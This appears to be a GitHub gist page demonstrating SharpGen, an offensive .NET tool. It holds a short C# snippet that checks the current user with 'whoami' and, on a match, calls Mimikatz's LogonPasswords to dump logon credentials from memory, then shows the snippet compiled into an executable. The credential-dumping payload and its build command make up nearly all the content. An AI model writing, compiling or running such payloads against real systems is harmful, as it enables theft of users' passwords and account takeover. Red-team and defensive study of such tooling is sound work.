Skip to content

Instantly share code, notes, and snippets.

@cobbr
Created November 6, 2018 15:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cobbr/f53e8b2c2fffcdaae3a689db96e24176 to your computer and use it in GitHub Desktop.
Save cobbr/f53e8b2c2fffcdaae3a689db96e24176 to your computer and use it in GitHub Desktop.
cobbr@mac:~/SharpGen > cat example.txt
string whoami = Shell.ShellExecute("whoami");
if (whoami == "SomeUser")
{
Console.WriteLine(Mimikatz.LogonPasswords());
}
cobbr@mac:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt
...
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment